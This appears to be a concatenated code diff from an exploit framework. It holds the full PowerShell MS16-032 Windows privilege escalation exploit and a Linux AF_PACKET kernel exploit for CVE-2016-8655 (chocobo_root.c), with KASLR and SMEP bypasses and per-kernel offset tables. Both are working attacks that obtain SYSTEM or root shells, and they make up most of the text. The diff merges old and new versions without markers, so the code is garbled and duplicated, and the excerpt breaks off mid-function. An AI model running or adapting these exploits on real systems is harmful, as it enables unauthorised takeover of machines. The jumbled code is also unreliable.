# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
begin
require 'bundler/setup'
rescue LoadError => e
+11
View File
@@ -0,0 +1,11 @@
# Remove bigdecimal warning - start
# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
+364 -340
View File
@@ -1,347 +1,371 @@
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
# All rights reserved
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
#function Invoke-MS16-032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
Targets:
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
* Tested on x32 Win7, x64 Win8, x64 2k12R2
Notes:
* In order for the race condition to succeed the machine must have 2+ CPU
cores. If testing in a VM just make sure to add a core if needed mkay.
* Want to know more about MS16-032 ==>
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
.EXAMPLE
C:\PS> Invoke-MS16-032
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -ErrorAction SilentlyContinue -Verbose).FullName
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($hThread)
if ($CallResult -ne 0) {
echo "[!] $hThread is a bad thread, exiting.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
# Null $SysTokenHandle
$script:SysTokenHandle = [IntPtr]::Zero
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($hThread)
}
# main() <--- ;)
$ms16032 = @"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
"@
$ms16032
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
echo "[>] Duplicating CreateProcessWithLogonW handle"
$hThread = Get-ThreadHandle
# If no thread handle is captured, the box is patched
if ($hThread -eq 0) {
echo "[!] No valid thread handle was captured, exiting!`n"
Return
} else {
echo "[?] Done, using thread handle: $hThread"
} echo "`n[*] Sniffing out privileged impersonation token.."
# Get handle to SYSTEM access token
Get-SystemToken
# If we fail a check in Get-SystemToken, exit
if ($SysTokenHandle -eq 0) {
Return
}
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($hThread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
}
}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
$path1 = $env:windir
$path1 = "$path1\System32\cmd.exe"
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $path1, "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $cmd, $args1,
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
#---
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
#---
# Missing this check used to cause the exploit to fail sometimes.
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
# reliable now!
#---
if (!$CallResult) {
continue
}
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
echo "$end"
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Trying thread handle: $Thread"
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($Thread)
if ($CallResult -ne 0) {
echo "[!] $Thread is a bad thread, moving on.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
$script:SysTokenHandle = [IntPtr]::Zero
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($Thread)
}
# main() <--- ;)
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
# Create array for Threads & TID's
$ThreadArray = @()
$TidArray = @()
echo "[>] Duplicating CreateProcessWithLogonW handles.."
# Loop 1 is fine, this never fails unless patched in which case the handle is 0
for ($i=0; $i -lt 1; $i++) {
$hThread = Get-ThreadHandle
$hThreadID = [Kernel32]::GetThreadId($hThread)
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
if ($TidArray -notcontains $hThreadID) {
$TidArray += $hThreadID
if ($hThread -ne 0) {
$ThreadArray += $hThread # This is what we need!
}
}
}
if ($($ThreadArray.length) -eq 0) {
echo "[!] No valid thread handles were captured, exiting!"
Return
} else {
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
echo "`n[?] Thread handle list:"
$ThreadArray
}
echo "`n[*] Sniffing out privileged impersonation token.."
foreach ($Thread in $ThreadArray){
# Get handle to SYSTEM access token
Get-SystemToken
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($Thread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
}
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $cmd, $args1,
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
#---
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
#---
# Missing this check used to cause the exploit to fail sometimes.
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
# reliable now!
#---
if (!$CallResult) {
continue
}
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
}
exit
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
#}
Binary file not shown.
+142 -104
View File
@@ -1,7 +1,7 @@
/*
chocobo_root.c
linux AF_PACKET race condition exploit for CVE-2016-8655.
Includes KASLR and SMEP/SMAP bypasses.
Includes KASLR and SMEP bypasses. No SMAP bypass.
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
All kernel offsets have been tested on Ubuntu / Linux Mint.
@@ -11,7 +11,7 @@ user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread -Wall
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
@@ -75,7 +75,7 @@ Updated by <bcoles@gmail.com>
- check number of CPU cores
- KASLR bypasses
- additional kernel targets
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655
*/
#define _GNU_SOURCE
@@ -85,13 +85,13 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/if_packet.h>
#include <netinet/in.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/types.h>
@@ -102,12 +102,6 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
#include <sys/utsname.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>
#define DEBUG
#ifdef DEBUG
@@ -116,9 +110,18 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
# define dprintf
#endif
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SYSTEM_CHECKS 1
#define ENABLE_KASLR_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS
#if ENABLE_KASLR_BYPASS
# define KERNEL_BASE_MIN 0xffffffff00000000ul
# define KERNEL_BASE_MAX 0xffffffffff000000ul
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
# define ENABLE_KASLR_BYPASS_SYSLOG 1
# define ENABLE_KASLR_BYPASS_MINCORE 1
#endif
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions()
@@ -131,6 +134,7 @@ const char *SYSCTL_PATH = "/proc/sys/hack";
volatile int barrier = 1;
volatile int vers_switcher_done = 0;
// kernel target struct
struct kernel_info {
char *kernel_version;
unsigned long proc_dostring;
@@ -139,6 +143,7 @@ struct kernel_info {
unsigned long set_memory_rw;
};
// Targets
struct kernel_info kernels[] = {
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
@@ -170,6 +175,16 @@ struct kernel_info kernels[] = {
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
{ "4.4.0-21-lowlatency #37-Ubuntu", 0x88960, 0xe48e80, 0x28c3a0, 0x6fae0 },
{ "4.4.0-22-lowlatency #40-Ubuntu", 0x889c0, 0xe48f00, 0x28c570, 0x6fae0 },
{ "4.4.0-24-lowlatency #43-Ubuntu", 0x88ae0, 0xe48f00, 0x28c9a0, 0x6fae0 },
{ "4.4.0-28-lowlatency #47-Ubuntu", 0x88b20, 0xe48f80, 0x28ce20, 0x6fae0 },
{ "4.4.0-31-lowlatency #50-Ubuntu", 0x88b20, 0xe48f80, 0x28cf10, 0x6fae0 },
{ "4.4.0-34-lowlatency #53-Ubuntu", 0x88b20, 0xe48f80, 0x28cf50, 0x6fae0 },
{ "4.4.0-36-lowlatency #55-Ubuntu", 0x88b00, 0xe48f80, 0x28cf30, 0x6fad0 },
{ "4.4.0-38-lowlatency #57-Ubuntu", 0x88bd0, 0xe48f80, 0x28d580, 0x6fad0 },
{ "4.4.0-42-lowlatency #62-Ubuntu", 0x88c30, 0xe48f80, 0x28d5b0, 0x6faa0 },
};
#define VSYSCALL 0xffffffffff600000
@@ -202,6 +217,7 @@ struct tpacket_req3 tp;
int sfd;
int mapped = 0;
// timer_list struct defined in: include/linux/timer.h
struct timer_list {
void *next;
void *prev;
@@ -255,6 +271,10 @@ void *vers_switcher(void *arg)
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
#ifndef ETH_P_ARP
# define ETH_P_ARP 0x0806
#endif
void kmalloc(void)
{
while(1)
@@ -266,7 +286,7 @@ void pad_kmalloc(void)
int x;
for (x = 0; x < KMALLOC_PAD; x++)
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
dprintf("[-] pad_kmalloc() socket error\n");
dprintf("[-] pad_kmalloc() socket error: %m\n");
exit(EXIT_FAILURE);
}
}
@@ -289,7 +309,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
dprintf("[-] couldn't set sigmask: %m\n");
exit(1);
}
@@ -300,7 +320,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (fd == -1) {
dprintf("[-] target socket error\n");
dprintf("[-] target socket error: %m\n");
exit(1);
}
@@ -324,7 +344,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
sfd = fd;
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
dprintf("[-] Error creating thread\n");
dprintf("[-] Error creating thread: %m\n");
return 1;
}
@@ -360,7 +380,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
if (pbd == MAP_FAILED) {
dprintf("[-] could not map pbd\n");
dprintf("[-] could not map pbd: %m\n");
exit(1);
} else {
off = pbd->hdr.bh1.offset_to_first_pkt;
@@ -415,13 +435,13 @@ void *modify_vsyscall(void *arg)
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
dprintf("[-] couldn't set sigmask: %m\n");
exit(EXIT_FAILURE);
}
signal(SIGSEGV, catch_sigsegv);
*vsyscall = 0xdeadbeef+x;
*vsyscall = 0xdeadbeef + x;
if (*vsyscall == 0xdeadbeef+x) {
dprintf("[~] vsyscall page altered!\n");
@@ -449,7 +469,7 @@ void verify_stage1(void)
exit(0);
}
write(2,".",1);
write(2, ".", 1);
sleep(1);
}
@@ -471,7 +491,7 @@ void verify_stage2(void)
exit(0);
}
write(2,".",1);
write(2, ".", 1);
sleep(1);
}
@@ -548,7 +568,29 @@ void wrapper(void)
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
void check_procs() {
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
